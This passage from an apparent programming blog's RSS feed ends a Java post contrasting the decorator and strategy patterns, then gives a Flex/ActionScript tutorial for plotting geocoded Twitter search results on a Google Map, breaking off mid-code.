        <span style="color: #000000; font-weight: bold;">return</span> text.<span style="color: #006633;">format</span><span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span>.<span style="color: #006633;">replaceAll</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;this&quot;</span>,<span style="color: #0000ff;">&quot;that&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Alright so now we have our three decorators. Obviously there is very little real world value to these, but this is just for example sake. The magic is really in the format function. Each one of the decorators takes in a Text object with its constructor. The format function then calls its format function to get its text, then decorators it based off whatever that format function does. But how does this all tie together in the implementation class?</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> TextImpl<span style="color: #009900;">&#123;</span>   
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> args<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        Text t <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> BaseText<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        Text t1 <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AllCaps<span style="color: #009900;">&#40;</span>t<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        t1 <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> StringConcat<span style="color: #009900;">&#40;</span>t1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        t1 <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ReplaceThisWithThat<span style="color: #009900;">&#40;</span>t1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span>t1.<span style="color: #006633;">format</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;this is some random text&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>If you were  to run this, you would get this output:</p>
<blockquote><p>THIS IS SOME RANDOM TEXTthat is some random text</p></blockquote>
<p>So what has happened? After we instantiated our base class, we then wrapped it, or &#8220;decorated&#8221; (funny how that works out) it, with our decorators. Then after we call the format function on this, it will before going through its decorators. In each format decorator, it will call its Text object&#8217;s format function, until it reaches an end. As it goes through, each decorator will perform its on specific task an then move onto the next. </p>
<p>That is how the decorator classes work. While it answers that question, it does not answer the question of &#8216;what is the difference between a decorator pattern and a strategy pattern?&#8217; Well you might have been able to notice by now, but when you want to use a decorator, its usually a situation where you are going to have multiple attributes to an object that may or may not be used.</p>
<p>An example would be say something like a grid cell renderer. What if you wanted it your item renderers to make something bold. Another one would change color. Another would add a button to click. Another one would format a number, etc, etc, etc. You are either going to create one massive item renderer that you will have to maintain or create a class for each permutation of options, which adds up pretty quickly. With the decorator pattern, we can just create a decorator for each one of those and just wrap our item renderer. </p>
<p>Another good example is the dynamic filter component that was created in this article. A coworker of mine did an implementation of it using the decorator pattern. A situation like a filter component is perfect. We might need to filter on a date, a text input, etc. We can wrap our filtering work in multiple decorators to just go through it all.</p>
<p>Whats a good example of when to use a strategy pattern? The example I like to use is a logging system that you can change out which loggers are used at run time. Something like a strategy pattern works great here, because we don&#8217;t want to wrap something like this. There is no need to. This is a base implementation that is going to be used straight up. We aren&#8217;t going to add anything special to it. In this case, we have X amount of logger implementation (strategies), and when we want to change them, we do.</p>
<p>At this point, it boils down to when you want to use a multiple approaches to something, use a strategy pattern. When you want to create something where certain things may or may not be used to alter an object/component/whatever, then you should be using a decorator.</p>
<p>It can be confusing at times to tell the difference between them and when you would use one over the other. There are a lot of similarities that they share. Technically speaking, a lot of times, they can have the same out come. The choice of which to use obviously depends on your applications requirements. However, despite their similarities, they both still have their own specific place where they should be used.</p>
<p>Agree? Disagree? Think I left anything out? Feel free to comment.</p>
<p>If you want to check out the source, <a href="http://codeofdoom.com/wordpress/SourceCode/Decorator.rar">here you go!</a></p>
<p>*Note: There is also the state pattern, which is also strikingly similar. In fact, it pretty much does the same thing, but assigns them based on the state of your program. </p>
]]></content:encoded>
			<wfw:commentRss>http://codeofdoom.com/wordpress/2009/05/10/learn-this-strategy-pattern-vs-decorator-pattern/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Twitter-Google Maps Mashup</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/</link>
		<comments>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 02:32:49 +0000</pubDate>
		<dc:creator>Marcel</dc:creator>
				<category><![CDATA[Flex]]></category>
		<category><![CDATA[Google Maps API]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Actionscript]]></category>
		<category><![CDATA[howto]]></category>

		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457</guid>
		<description><![CDATA[Love it or hate it, its hard to ignore Twitters recent explosion in popularity. Not only are they super popular to the masses, but they are nice enough to give us an API to use in order to create our own twitter applications. I don&#8217;t use it too much, but I figured it would be [...]]]></description>
			<content:encoded><![CDATA[<p>Love it or hate it, its hard to ignore Twitters recent explosion in popularity. Not only are they super popular to the masses, but they are nice enough to give us an <a href="http://apiwiki.twitter.com/Twitter-API-Documentation" target="_blank">API</a> to use in order to create our own twitter applications. I don&#8217;t use it too much, but I figured it would be worth checking out at least from an API stand point.</p>
<p>Turns out, the API is actually just a series of webservice calls that just return a json or atom string, so it is extremely easy to use (and it explains the mass amount of twitter programs out there). I don&#8217;t feel it would be too beneficial to create a bunch of &#8216;This is how you search for people&#8217;, &#8216;This is how you do a post&#8217;, so I decided to turn this into a mashup between this and google maps.</p>
<p>What I decided to do an article on is how to take twitters geocoded search feature and place them on a map within google. This article will explain how to call <a href="http://apiwiki.twitter.com/Twitter-Search-API-Method%3A-search" target="_blank">Twitters search service</a>, parse that and then using Googles Geocoder, plot where those users are twittering from.<br />
<span id="more-457"></span><br />
To make life easier, here is what our end result will look like.<br />
<img src="http://codeofdoom.com/wordpress/wp-content/uploads/2009/04/googlewittermashup1.jpg" alt="googlewittermashup1" title="googlewittermashup1" width="625" height="470" class="aligncenter size-full wp-image-468" /></p>
<p>Check out the demo <a href="http://www.codeofdoom.com/wordpress/swf/GoogleMapsTwitter/GoogleMapsExample"  target="_blank">here</a>. </p>
<p>There are a number of things going on here. We are calling/parsing the twitter service/results. We are using Google Maps geocoder to decode the results location to give us a latitude and longtitude. We are then plotting those on the map. Once we do that, we then call up the twitter post when we click on the marker and display the content in a custom information window.</p>
<p>Before any coding goes on, read the <a href="http://codeofdoom.com/wordpress/2009/02/18/intro-to-google-maps-api-for-flex/" target="_blank">section in this article </a> on how to setup your environment for google maps(its the 2nd paragraph). Once you have that setup, you are ready. Since the Twitter API is just a series of webservice calls, you don&#8217;t need to download anything to use it.</p>
<p>To add the map to Google Maps, as you might have <a href="http://codeofdoom.com/wordpress/2009/02/18/intro-to-google-maps-api-for-flex/" target="_blank">seen </a>in <a href="http://codeofdoom.com/wordpress/2009/03/09/intro-to-google-maps-api-for-flex-part-2/" target="_blank">previous </a>tutorials, first you add it in your mxml:</p>

<div class="wp_syntax"><div class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;"><span style="color: #7400FF;">&lt;maps:Map</span> xmlns:maps=<span style="color: #ff0000;">&quot;com.google.maps.*&quot;</span> </span>
<span style="color: #000000;">id=<span style="color: #ff0000;">&quot;map&quot;</span> </span>
<span style="color: #000000;">mapevent_mapready=<span style="color: #ff0000;">&quot;onMapReady(event)&quot;</span> </span>
<span style="color: #000000;">width=<span style="color: #ff0000;">&quot;100%&quot;</span> height=<span style="color: #ff0000;">&quot;100%&quot;</span></span>
<span style="color: #000000;"> key=<span style="color: #ff0000;">&quot;{GoogleConstants.KEY}&quot;</span><span style="color: #7400FF;">/&gt;</span></span></pre></div></div>

<p>The put this in your onMapReady function, initialize everything here:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> onMapReady<span style="color: #66cc66;">&#40;</span>event:MapEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
  geocoder = <span style="color: #000000; font-weight: bold;">new</span> ClientGeocoder<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  geocoder.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>GeocodingEvent.<span style="color: #006600;">GEOCODING_SUCCESS</span>, geocoder_geocodingSuccess<span style="color: #66cc66;">&#41;</span>;
  geocoder.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>GeocodingEvent.<span style="color: #006600;">GEOCODING_FAILURE</span>, geocoder_geocodingFailure<span style="color: #66cc66;">&#41;</span>;
  map.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MapMouseEvent.<span style="color: #006600;">CLICK</span>,mapClicked<span style="color: #66cc66;">&#41;</span>;
  centerPoint = <span style="color: #000000; font-weight: bold;">new</span> LatLng<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">40.714036986015984</span>,-<span style="color: #cc66cc;">74.00337009008788</span><span style="color: #66cc66;">&#41;</span>;
  map.<span style="color: #006600;">setCenter</span><span style="color: #66cc66;">&#40;</span>centerPoint, <span style="color: #cc66cc;">14</span>, MapType.<span style="color: #006600;">NORMAL_MAP_TYPE</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #000000; font-weight: bold;">var</span> poly:Polygon = MapUtils.<span style="color: #006600;">drawCircle</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">40.714036986015984</span>,-<span style="color: #cc66cc;">74.00337009008788</span>, <span style="color: #cc66cc;">1.0</span>, 0x000080, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">0.75</span>, 0x0000FF,.5<span style="color: #66cc66;">&#41;</span>;  
  map.<span style="color: #006600;">addOverlay</span><span style="color: #66cc66;">&#40;</span>poly<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>I decided to drop the default lat/lng over Manhattan (popular enough place to find tweets). The event listeners added for the geocoder is going to be used for when we try to get a location from our twitter posts. We also add an event listen for our map to listen for mouse clicks (to set a new location). After that, I draw the circle around the center point. I &#8220;borrowed&#8221; the code to draw the circle from <a href="http://shigeru-nakagaki.com/flex_samples/GoogleMaps/MapCircleTest/srcview/index.html" target="_blank">another example</a>. No need to reinvent the wheel.</p>
<p>Now you are going to notice that there really isnt too much to using twitters API. First you setup a httservice within your mxml:</p>

<div class="wp_syntax"><div class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:HTTPService</span></span>
<span style="color: #000000;"> id=<span style="color: #ff0000;">&quot;twitterService&quot;</span></span>
<span style="color: #000000;"> resultFormat=<span style="color: #ff0000;">&quot;text&quot;</span></span>
<span style="color: #000000;"> result=<span style="color: #ff0000;">&quot;parseResults(event)&quot;</span></span>
<span style="color: #000000;"> fault=<span style="color: #ff0000;">&quot;fault(event)&quot;</span></span>
<span style="color: #000000;"> showBusyCursor=<span style="color: #ff0000;">&quot;true&quot;</span> <span style="color: #7400FF;">/&gt;</span></span></pre></div></div>

<p>To make the service call, we hook it into a button to trigger that, which looks like this:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getGeoCodes<span style="color: #66cc66;">&#40;</span>event:MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> s:<span style="color: #0066CC;">String</span>=<span style="color: #ff0000;">&quot;&quot;</span>;  
  <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>username.<span style="color: #0066CC;">length</span> <span style="color: #66cc66;">&gt;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>
    s=<span style="color: #ff0000;">&quot;&amp;q=from%3A&quot;</span>+username.<span style="color: #0066CC;">text</span>;
  twitterService.<span style="color: #0066CC;">url</span> = <span style="color: #ff0000;">&quot;http://search.twitter.com/search.atom?geocode=&quot;</span>+centerPoint.<span style="color: #006600;">lat</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #ff0000;">&quot;%2C&quot;</span>+centerPoint.<span style="color: #006600;">lng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #ff0000;">&quot;%2C&quot;</span>+stepper.<span style="color: #006600;">value</span>+<span style="color: #ff0000;">&quot;mi&quot;</span>+s;
  geocodesButton.<span style="color: #0066CC;">enabled</span>=<span style="color: #000000; font-weight: bold;">false</span>;
  geoAlert.<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">true</span>;
  setTimeout<span style="color: #66cc66;">&#40;</span>disableGeoCodeButton, <span style="color: #cc66cc;">10000</span><span style="color: #66cc66;">&#41;</span>;
  twitterService.<span style="color: #0066CC;">send</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>As you saw in the picture, we are able to search by both a radius from a center point (the circle drawn on the map) and optionally by a username. All we do here is call the service using atom and passing the latitude and longitude, along with a user name to it. This event listener is what is attached to the Get Geocodes button. After that, it goes to the parseResults listener.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> parseResults<span style="color: #66cc66;">&#40;</span>event:ResultEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">var</span> rawData:<span style="color: #0066CC;">String</span> = <span style="color: #0066CC;">String</span><span style="color: #66cc66;">&#40;</span> event.<span style="color: #006600;">result</span> <span style="color: #66cc66;">&#41;</span>;
    <span style="color: #000000; font-weight: bold;">var</span> arr:XMLDocument= <span style="color: #000000; font-weight: bold;">new</span> XMLDocument<span style="color: #66cc66;">&#40;</span>rawData<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #000000; font-weight: bold;">var</span> decoder:SimpleXMLDecoder = <span style="color: #000000; font-weight: bold;">new</span> SimpleXMLDecoder<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">data</span>:<span style="color: #0066CC;">Object</span> = decoder.<span style="color: #006600;">decodeXML</span><span style="color: #66cc66;">&#40;</span>arr<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">array</span>:<span style="color: #0066CC;">Array</span> = <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>;
    <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">data</span>.<span style="color: #006600;">feed</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">array</span> = ArrayUtil.<span style="color: #006600;">toArray</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">data</span>.<span style="color: #006600;">feed</span>.<span style="color: #006600;">entry</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> o:<span style="color: #0066CC;">Object</span> <span style="color: #b1b100;">in</span> <span style="color: #0066CC;">array</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
           markerManager.<span style="color: #006600;">addTwit</span><span style="color: #66cc66;">&#40;</span>o<span style="color: #66cc66;">&#41;</span>;
           geocoder.<span style="color: #006600;">geocode</span><span style="color: #66cc66;">&#40;</span>o<span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">&quot;location&quot;</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;   
        <span style="color: #66cc66;">&#125;</span>
    <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>Once it comes back we parse out our results. The entire twitter object comes back within the returned XML. First we save that tweet in an object I call MarkerManager (maybe should be called TwitterMarkerManager?). After that, we then use Googles Geocoder to find a location to plot for the location given within the specific tweet.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> geocoder_geocodingSuccess<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:GeocodingEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> point:LatLng = <span style="color: #0066CC;">e</span>.<span style="color: #006600;">response</span>.<span style="color: #006600;">placemarks</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">point</span> as LatLng;
  <span style="color: #000000; font-weight: bold;">var</span> nm:NamedMarker = <span style="color: #000000; font-weight: bold;">new</span> NamedMarker<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>.<span style="color: #006600;">response</span>.<span style="color: #0066CC;">name</span>,point<span style="color: #66cc66;">&#41;</span>;
  addMarker<span style="color: #66cc66;">&#40;</span>nm,point<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> addMarker<span style="color: #66cc66;">&#40;</span>nm:NamedMarker,point:LatLng<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> marker:Marker = <span style="color: #000000; font-weight: bold;">new</span> Marker<span style="color: #66cc66;">&#40;</span>point<span style="color: #66cc66;">&#41;</span>;
    markerManager.<span style="color: #006600;">addMarkerName</span><span style="color: #66cc66;">&#40;</span>nm<span style="color: #66cc66;">&#41;</span>;
    marker.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MapMouseEvent.<span style="color: #006600;">CLICK</span>,getTwit<span style="color: #66cc66;">&#41;</span>;
    map.<span style="color: #006600;">addOverlay</span><span style="color: #66cc66;">&#40;</span>marker<span style="color: #66cc66;">&#41;</span>;  
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>A Marker is an object within the Google Maps API. It is an object that is placed on the maps and gives us (by default) that nice red looking pin on the map. Unfortuantely, it doesnt have a name property for me to ues on this, so I just extended Marker and added the property, giving us NamedMarker. The event.response.placemarkers (which seems to always turn an array of length 1??) is where the result of what googles says the latitude/longitude your location mapped to. We then add the NamedMarker with the event listener for retrieve the tweet associated with it to the MarkerMananger object.  After that, we add the Marker to the map.</p>
<p>For the sake of clarity, lets also take a look at this ill-named MarkerManager:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> MarkerManager<span style="color: #66cc66;">&#123;</span>
  <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _markers:ArrayCollection
  <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _tweets:ArrayCollection;
&nbsp;
  <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> MarkerManager<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
    _tweets = <span style="color: #000000; font-weight: bold;">new</span> ArrayCollection<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
    _markers = <span style="color: #000000; font-weight: bold;">new</span> ArrayCollection<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #66cc66;">&#125;</span>
  <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> addMarkerName<span style="color: #66cc66;">&#40;</span>nm:NamedMarker<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
    _markers.<span style="color: #006600;">addItem</span><span style="color: #66cc66;">&#40;</span>nm<span style="color: #66cc66;">&#41;</span>;
  <span style="color: #66cc66;">&#125;</span>
  <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getTwitByLatLng<span style="color: #66cc66;">&#40;</span>latlng:LatLng<span style="color: #66cc66;">&#41;</span>:ArrayCollection<span style="color: #66cc66;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">var</span> arr:ArrayCollection = <span style="color: #000000; font-weight: bold;">new</span> ArrayCollection<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> nm:NamedMarker <span style="color: #b1b100;">in</span> _markers<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
      <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>nm.<span style="color: #006600;">getLatLng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">lat</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> - latlng.<span style="color: #006600;">lat</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #cc66cc;">0</span> <span style="color: #66cc66;">&amp;&amp;</span> nm.<span style="color: #006600;">getLatLng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">lng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> - latlng.<span style="color: #006600;">lng</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">var</span> s:<span style="color: #0066CC;">String</span> = nm.<span style="color: #0066CC;">name</span>;
        arr= getTwit<span style="color: #66cc66;">&#40;</span>s<span style="color: #66cc66;">&#41;</span>;
      <span style="color: #66cc66;">&#125;</span>
    <span style="color: #66cc66;">&#125;</span>  
    <span style="color: #b1b100;">return</span>  arr;
  <span style="color: #66cc66;">&#125;</span>
&nbsp;
  <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> cleanMarkerInfo<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
    _markers=<span style="color: #000000; font-weight: bold;">new</span> ArrayCollection<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
    _tweets = <span style="color: #000000; font-weight: bold;">new</span> ArrayCollection<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #66cc66;">&#125;</span>
&nbsp;
  <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> addTwit<span style="color: #66cc66;">&#40;</span>twit:<span style="color: #0066CC;">Object</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
  _tweets.<span style="color: #006600;">addItem</span><span style="color: #66cc66;">&#40;</span>twit<span style="color: #66cc66;">&#41;</span>;
  <span style="color: #66cc66;">&#125;</span>
&nbsp;
  <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getTwit<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">name</span>:<span style="color: #0066CC;">String</span><span style="color: #66cc66;">&#41;</span>:ArrayCollection<span style="color: #66cc66;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">var</span> arr:ArrayCollection = <span style="color: #000000; font-weight: bold;">new</span> ArrayCollection<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> t:<span style="color: #0066CC;">Object</span> <span style="color: #b1b100;">in</span> _tweets<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
      <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>t.<span style="color: #006600;">location</span> == <span style="color: #0066CC;">name</span><span style="color: #66cc66;">&#41;</span>
        arr.<span style="color: #006600;">addItem</span><span style="color: #66cc66;">&#40;</span>t<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #b1b100;">return</span> arr;
  <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>It&#8217;s a pretty straight forward utility class. It just holds the markers and tweets and then retrieves them.</p>
<p>At this point, you are able to retrieve tweets, add them to your map and mark them with a Marker object. Now we want to view them. We need to create a customer object in order to display the information we want. Before we look at that, this is the event that handles a click on a marker</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getTwit<span style="color: #66cc66;">&#40;</span>event:MapMouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> arr:ArrayCollection = markerManager.<span style="color: #006600;">getTwitByLatLng</span><span style="color: #66cc66;">&#40;</span>event.<span style="color: #006600;">latLng</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #000000; font-weight: bold;">var</span> tc:TwitterControl = <span style="color: #000000; font-weight: bold;">new</span> TwitterControl<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #000000; font-weight: bold;">var</span> marker:Marker = event.<span style="color: #0066CC;">target</span> as Marker;
  tc.<span style="color: #006600;">setTweets</span><span style="color: #66cc66;">&#40;</span>arr<span style="color: #66cc66;">&#41;</span>;
  marker.<span style="color: #006600;">openInfoWindow</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> InfoWindowOptions<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#123;</span>customContent:tc,<span style="color: #0066CC;">width</span>:<span style="color: #cc66cc;">400</span>,<span style="color: #0066CC;">height</span>:<span style="color: #cc66cc;">200</span>,drawDefaultFrame:<span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>First we get any tweets with that latitude an longitude associated with that marker we just clicked. Within the manager, it first checks the lat/lng against all the saved NamedMarkers. If it finds a match, it will go grab the tweet with that name then return it. It then sets the property to the TwitterControl, which is the custom InfoWindow object.</p>

<div class="wp_syntax"><div class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:VBox</span> xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span> width=<span style="color: #ff0000;">&quot;400&quot;</span> height=<span style="color: #ff0000;">&quot;200&quot;</span> <span style="color: #7400FF;">&gt;</span></span>
  <span style="color: #339933;">&lt;mx:Script&gt;</span>
<span style="color: #339933;">    &lt;![CDATA[</span>
<span style="color: #339933;">      import mx.collections.ArrayCollection;</span>
<span style="color: #339933;">      import com.google.maps.overlays.Marker;</span>
<span style="color: #339933;">      import mx.controls.Text;</span>
<span style="color: #339933;">      public var currentTweet:Object;</span>
<span style="color: #339933;">      public var tweets:ArrayCollection;</span>
&nbsp;
<span style="color: #339933;">      [Bindable]public var totalText:String;       </span>
<span style="color: #339933;">      [Bindable]private var _content:String;</span>
<span style="color: #339933;">      [Bindable]private var _author:String;</span>
<span style="color: #339933;">      [Bindable]private var _time:String;</span>
&nbsp;
<span style="color: #339933;">      private function setTweet(index:int):void{</span>
<span style="color: #339933;">        var tweet:Object = tweets.getItemAt(index);</span>
&nbsp;
<span style="color: #339933;">        if (tweet){</span>
<span style="color: #339933;">          currentTweet = tweet;</span>
<span style="color: #339933;">          _author= tweet.author.name;</span>
<span style="color: #339933;">          _content = tweet.title;</span>
<span style="color: #339933;">        }</span>
<span style="color: #339933;">      }</span>
<span style="color: #339933;">      public function nextClick(e:MouseEvent):void{</span>
